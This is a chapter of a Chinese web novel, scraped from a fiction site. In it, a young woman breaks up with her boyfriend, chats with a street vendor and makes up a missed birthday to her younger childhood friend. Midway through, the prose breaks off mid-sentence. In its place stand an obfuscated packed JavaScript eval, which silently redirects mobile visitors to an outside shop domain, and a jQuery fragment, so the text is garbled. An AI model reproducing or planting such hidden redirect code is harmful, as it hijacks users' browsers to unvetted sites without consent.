文趣网 > 都市小说 > 男妹妹 > 25. 25补生日
    25

    薄时锦沉默了很久。

    纸瑶以为他是真后悔了。

    结果这个绝情的人,后来居然回复了一条比之前更简短的消息。

    薄时锦:祝你没有我的以后,前程似锦。

    纸瑶:“……”

    她气得将手机扔到了墙上。

    几秒后又走上前,蹲到墙角拾起手机,上面的钢化膜碎了,手机现在看起来像块碎玻璃。七横八纵的裂痕里倒映着她委屈的脸。

    她撕下钢化膜,用大拇指揉了揉屏幕,轻声道:“对不起。”

    说完,她抬眼雾蒙蒙地看了会儿天花板,等到视线逐渐清晰,才重新站起来。

    很快,她洗了把脸就出门了。

    每天从小区正门出去,通往公司写字楼的路上,会经过一座天桥。

    天桥上有个小贩每晚都会在那里摆摊卖电子数码配件。

    可今天纸瑶找过去的时候,那里却空空荡荡,除了少量路人经过,就只剩下桥底车流双相穿行的呼啸声。

    她双肘撑在栏杆上,长发在穿来穿去的风里张牙舞爪地扇在脸上,她别了好几次,头发还是不规矩,她只好放弃了。

    她搓着胳膊跺了跺脚,这才意识到出门的时候忘记穿外套,现在已是十月末,晚上不穿外套还是挺冷的。

    她抱着胳膊蹲下来,栏杆外面有一层广告牌刚好能挡挡风。

    也不知道执拗地等了多久,她的侧脸被一道柔和的光线照亮。

    抬头看过去,是小贩一手提着球泡灯,一手推着小摊车,从升降电梯里走出来。

    她搓着手连忙站起来,“今天怎么这么晚才来呀?”

    小贩闻言有些惊讶,他其实每天在这儿摆摊,早就注意到她了。她在他心中就是连头发丝都极为完美的都市丽人,偶尔看着她上下班经过时,发尾在纤细婀娜的腰线上灵活荡漾,他就会感叹:我什么时候才能活得像这样轻松自在?

    但今天的她,头发丝却是乱的,他甚至看不清她的脸。

    她的声音也有些哑,这还是他第一次听见她说话,跟想象中不一样,听着有些疲惫,像经历了狂风暴雨。

    不过,今天的风确实有些大。

    小贩走到她跟前停下来,一边布置自己的摊位,一边不好意思地笑:“晚上陪女朋友吃饭去了,本来她都劝我现在别来了,但我心里不知道为什么总放心不下。你看,这不一来,就遇上您了嘛!原来是有大生意在等我,我心有所感!”

    纸瑶跟着笑了笑,觉得这人还挺会说话。

    小贩又问:“小姐姐你是来买手机壳还是?”

    纸瑶将自己手机亮出来:“贴膜。”

    小贩让她选钢化膜的款式,然后边贴边找话题聊。

    也不知道是怎么回事,就帮纸瑶贴膜的这一小会儿,本来冷冷清清的天桥上就突然涌入了大量的人,每个人路过他摊位,都会好奇围上来,不是想换膜就是要买手机壳。

    小贩十分钟赚的钱比平时摆摊半天的还多。

    小音箱一直在提示“收款已到账”。

    等人稍微少点,他才笑眯眯感谢纸瑶:“小姐姐你简直是我的贵人,听说‘比劫’旺的人能自带流量,谢谢您帮我带生意了!”

    纸瑶只觉得他是嘴甜,她被夸得不好意思,只好又挑了几个手机壳结账。

    却听小贩一直在感谢她:“我跟您讲,昨天我在这儿坐了一天,就挣了30块,饭钱都不够的。现在你听到的吧?我手机到账的钱少说也有两百了,一周的饭钱都够了。”

    纸瑶平时上下班经过时,有留意过,这小贩早上8点半就已经在了,晚上11点才收工,晴天就摇着蒲扇,雨天就顶个雨棚,可以说毅力相当惊人了。

    但早高峰,行人都赶着去上班,晚上下班经过的人又几乎是固定的,不可能每天都有很多人贴膜买手机壳数据线。

    所以小贩再怎么风雨无阻,也挣不了几个钱的。

    纸瑶于是好心建议:“你其实可以固定在晚上五点半到十点摆摊,这个路段白天大家都忙着上班,你就可以找点别的事做。至于摆摊的时候,如果有顾客消费的话,你可以用加微信少两块钱的方式,建立自己的私域客户。

    “然后你再建个微信群,每天发发自己进了哪些货,有人需要的话你就送货上门。这就能把白天的时间运用起来,白天维系客户,晚上寻找新客户……”

    小贩听得背都挺直了,看纸瑶的眼神简直跟看神一样:“我就说您是我的贵人吧,一般人哪能教我这些啊?”

    纸瑶心想,就当是你嘴甜的回馈吧。

    小贩后来又讨教了她一些问题,聊得那是相当投入,看纸瑶穿得少,他还贴心地将车柜里的暖手宝找出来给她,“这我女朋友的,送您了,回头我再给她买个新的。”

    纸瑶也没客气,直接收下了。

    但回去后,第二天起床,她还是感冒了。

    这次感冒来势汹汹,又遇上连续加班,就这样昏昏沉沉了一周,她才好起来。

    期间领导看不下去,给她批假休息,她也没休。

    因为只有工作的时候才不会去想别的,手机膜坏了可以马上换一张,但心情不好,却是不能马上恢复的。

    虽然分手后,她笃定地说过自己不会回头。

    但偶尔临睡前,她还是会有点难过。她用高强度的工作来强迫自己将那件事忘掉,这方法很好用。

    也有弊端。

    因为她不仅把薄时锦暂时忘了,也把旁的人都忘了,包括池明让。

    还是过了好几天,新项目结束,她收到客户送的小礼物,才想起,自己错过了池明让的生日。

    说起来,自她回曲城开始工作后,她和池明让见面的次数比薄时锦还少,最多只是在微信上互相关心下。

    知道纸瑶在外租房后,池明让还问过,要不要过来帮她暖房,添添人气。

    但很不巧,每次他问的时候,就是她忙着加班拟数据报告的时候,所以,她只能说下次。

    而且,现在他俩一相处就总是拌嘴,看吧,她不过是谢绝了几次,他就又开始阴阳怪气。

    池明让:又下次。

    池明让:嗯,懂了。

    池明让:以后不会再问你了。

    ……

    这就让她觉得,跟他相处怎么还不如跟一堆数据打交道呢?

    她没工夫照顾他的情绪。

    后来就只扔下一句:“有空再联系。”便逃之夭夭。

    但逃避到连对方的生日都忘掉,还是太没礼貌了。

    而他生日前后的这几天,居然一个消息都没给她发。

    她直觉,他生大气了,很难哄好的那种。

    纸瑶点进他朋友圈,发现他在生日那天23:59分的时候,发过两条动态。

    一条是——【池明让:死了得了。】

    还有一条是音乐分享——歌名:《狠心的人不值得原谅》。

    纸瑶:“……”

    她看完其实有点疑惑,“死了得了”这种话都说出口了,为什么方雅、池觉亮,还有她爸妈他们没有在评论区指责他要死不活的呢?

    她

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17664583|205929||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    狐疑地拨通方雅的电话过去试探:“方阿姨,你有看到小让这两天发的微信朋友圈吗?”

    “啊,他最近有发朋友圈吗?”方雅作势点进微信查了下,一边翻看一边念出声:“‘喜迎新生,学长学姐在曲城理工大学等着你!’……最新一条是个视频,哎,这就是他暑假前转发的嘛!我记得里面还有他呢,当时是学生会找他拍来宣传,在网上还挺火的!我都刷到好几次!”

    “最新一条……就没别的了?”

    “是啊,本来他前几天过生日,我还说想看看他,让他发点照片,他说‘不行’。问他怎么庆祝的,他给我来句‘无可奉告’。你说说现在的孩子……咋了,我是外星人,不能跟我沟通了?”

    “那我知道了,谢谢阿姨。”

    纸瑶在心里冷哼。

    敢情池明让生日发的那两条动态,是仅纸瑶可见啊。

    不给他妈妈看照片,难道是因为那天她没给他庆祝,他于是眼睛都哭肿了不方便见人?

    纸瑶想想就有点想笑。

    这天她请了个假提前下班,先去商场挑礼物,然后准备回家换套衣服再去给池明让补生日。

    结果刚从单元楼电梯里出来,就看到了蹲在她家门口的池明让。

    “你怎么知道我家地址?”这是她说出口的第一句话。

    池明让掀开眼皮,缓慢站起身,目光像秋水里的月亮,充满了凉意与忧伤。

    “姐姐,好久不见。”

    “这么久没见我,你开口第一句就只有质问么?”

    纸瑶走近,一边开门,一边将礼品袋拍在他胸口上,“给你的生日礼物,要就进屋,不要就滚蛋。那么多废话。”

    池明让神情一顿,双手却已经本能地接住了礼物。

    他跟着她进门,在她背后轻声说:“我还以为你忘了。”

    纸瑶当然不能承认自己忘了,不然他又得闹翻天。

    “我那是最近没空,不说了有空再联系你吗?今天就是准备换个衣服再去找你的,哪知道你自己来了。”

    池明让轻哼着“嗯”了一声,那音调跟黄鹂鸟唱歌一般轻快愉悦。

    嗯完,他还故作平静地又说:“哦。”

    见纸瑶已经脱下平底鞋,将脚放进了棉拖里。

    池明让不动声色打量了下四周:“我穿什么?”

    纸瑶从鞋柜里找出男士拖鞋给他,“这个吧。”

    池明让沉默了。

    纸瑶见他站着不动,“啧”了一声,“你穿不穿?不穿就给我打光脚吧。”

    池明让唇角下撇:“别人穿过的,我凭什么穿?不会被感染上脚气?”

    纸瑶无语,“这双就被穿过一次,使用时长不超过一小时。”

    “谁穿过,薄时锦?”

    “不然呢?”

    池明让抓住关键词,不禁问:“他就来过你家一个小时?”

    纸瑶挪开视线,开始装忙:“你问那么多干什么?再叽叽歪歪就给我出去。”

    “你不是准备找我补生日吗?就这个态度?”

    纸瑶自觉理亏,于是坐进沙发,沉默着在外卖软件里点了不少吃的,还有蛋糕,等待半个小时后送达。

    池明让最后勉为其难还是穿了那双拖鞋,他关上门,开始在她家客厅走来走去,好像对这里的每一件物品都很好奇。

    “我觉得,你家比我住的地方更舒适,周边设施也比我那边方便,我想把房子换到这边来。”

    纸瑶抬眼看向他。这小子,一直都是这样的,从小到大,觉得她拉的屎都比别人的香。